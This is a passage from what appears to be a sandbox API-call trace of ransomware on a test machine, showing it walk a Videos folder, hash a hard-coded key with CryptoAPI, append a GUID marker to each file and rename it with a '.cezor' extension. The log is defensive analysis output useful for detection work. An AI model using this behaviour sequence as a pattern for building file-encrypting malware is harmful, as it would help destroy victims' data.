lpOverlapped=0x0) returned 1 [0061.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.651] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x11962, lpOverlapped=0x0) returned 1 [0061.652] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.652] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.652] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.652] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0061.653] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.653] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.653] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.653] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.653] GetLastError () returned 0x0 [0061.653] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.653] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0061.653] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11962, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.654] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.654] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.654] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.654] CloseHandle (hObject=0x5c4) returned 1 [0061.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.655] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\B2EsvKtcKir28U.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\b2esvktckir28u.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\B2EsvKtcKir28U.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\b2esvktckir28u.mkv.cezor")) returned 1 [0061.656] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb671170, ftCreationTime.dwHighDateTime=0x1d4cda9, ftLastAccessTime.dwLowDateTime=0x519dcc20, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x519dcc20, ftLastWriteTime.dwHighDateTime=0x1d4c592, nFileSizeHigh=0x0, nFileSizeLow=0xd423, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Jf 8.avi", cAlternateFileName="JF8~1.AVI")) returned 1 [0061.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0061.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Jf 8.avi") returned=".avi" [0061.656] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Jf 8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\jf 8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.656] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=54307) returned 1 [0061.656] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.659] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd3fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.659] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.660] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd423, lpOverlapped=0x0) returned 1 [0061.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.660] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.660] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0061.661] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.661] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.661] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.661] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.661] GetLastError () returned 0x0 [0061.661] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.661] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0061.661] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd423, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.666] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.666] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.666] CloseHandle (hObject=0x5c4) returned 1 [0061.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dda8 [0061.667] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x890) returned 0x3100c28 [0061.667] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Jf 8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\jf 8.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Jf 8.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\jf 8.avi.cezor")) returned 1 [0061.668] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1b8080, ftCreationTime.dwHighDateTime=0x1d4d2f6, ftLastAccessTime.dwLowDateTime=0x4e9a4b70, ftLastAccessTime.dwHighDateTime=0x1d4c948, ftLastWriteTime.dwLowDateTime=0x4e9a4b70, ftLastWriteTime.dwHighDateTime=0x1d4c948, nFileSizeHigh=0x0, nFileSizeLow=0x1503, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KIbJxOBGwieG.avi", cAlternateFileName="KIBJXO~1.AVI")) returned 1 [0061.668] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0061.668] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.668] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\KIbJxOBGwieG.avi") returned=".avi" [0061.668] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\KIbJxOBGwieG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\kibjxobgwieg.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.669] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=5379) returned 1 [0061.669] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.671] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14dd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.671] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.672] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1503, lpOverlapped=0x0) returned 1 [0061.672] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.672] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.672] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.672] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.672] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0061.673] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.673] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.673] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.673] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.673] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.673] GetLastError () returned 0x0 [0061.673] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.673] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0061.673] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1503, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.673] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.673] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.674] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.674] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.674] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.674] CloseHandle (hObject=0x5c4) returned 1 [0061.682] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.682] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\KIbJxOBGwieG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\kibjxobgwieg.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\KIbJxOBGwieG.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\kibjxobgwieg.avi.cezor")) returned 1 [0061.683] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65834d70, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x8b2d87d0, ftLastAccessTime.dwHighDateTime=0x1d4cb0c, ftLastWriteTime.dwLowDateTime=0x8b2d87d0, ftLastWriteTime.dwHighDateTime=0x1d4cb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VehoR9xPCLy8", cAlternateFileName="VEHOR9~1")) returned 1 [0061.683] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d9e50, ftCreationTime.dwHighDateTime=0x1d4cfc2, ftLastAccessTime.dwLowDateTime=0x878ab2b0, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x878ab2b0, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WTnDwa-D4KBHQUw.mkv", cAlternateFileName="WTNDWA~1.MKV")) returned 1 [0061.683] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\WTnDwa-D4KBHQUw.mkv") returned=".mkv" [0061.683] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\WTnDwa-D4KBHQUw.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\wtndwa-d4kbhquw.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.683] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=57218) returned 1 [0061.683] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.686] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdf5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.686] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.686] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xdf82, lpOverlapped=0x0) returned 1 [0061.687] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.687] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.687] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.687] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0061.688] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.688] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.688] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.688] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.688] GetLastError () returned 0x0 [0061.688] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.688] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0061.688] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdf82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.688] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.688] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.689] CloseHandle (hObject=0x5c4) returned 1 [0061.690] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\WTnDwa-D4KBHQUw.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\wtndwa-d4kbhquw.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\WTnDwa-D4KBHQUw.mkv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\wtndwa-d4kbhquw.mkv.cezor")) returned 1 [0061.691] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19fa810, ftCreationTime.dwHighDateTime=0x1d4d066, ftLastAccessTime.dwLowDateTime=0x61992c00, ftLastAccessTime.dwHighDateTime=0x1d4c94d, ftLastWriteTime.dwLowDateTime=0x61992c00, ftLastWriteTime.dwHighDateTime=0x1d4c94d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xp-kb7abpIDOqh4", cAlternateFileName="XP-KB7~1")) returned 1 [0061.692] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19fa810, ftCreationTime.dwHighDateTime=0x1d4d066, ftLastAccessTime.dwLowDateTime=0x61992c00, ftLastAccessTime.dwHighDateTime=0x1d4c94d, ftLastWriteTime.dwLowDateTime=0x61992c00, ftLastWriteTime.dwHighDateTime=0x1d4c94d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xp-kb7abpIDOqh4", cAlternateFileName="XP-KB7~1")) returned 0 [0061.692] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.692] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eab8 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dc78 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ecd8 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ed60 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.692] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306e0f0 | out: hHeap=0x670000) returned 1 [0061.692] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0061.692] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0061.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0061.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.693] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.693] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.693] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.693] PathFindFileNameW (pszPath="") returned="" [0061.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.694] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.694] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.694] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, 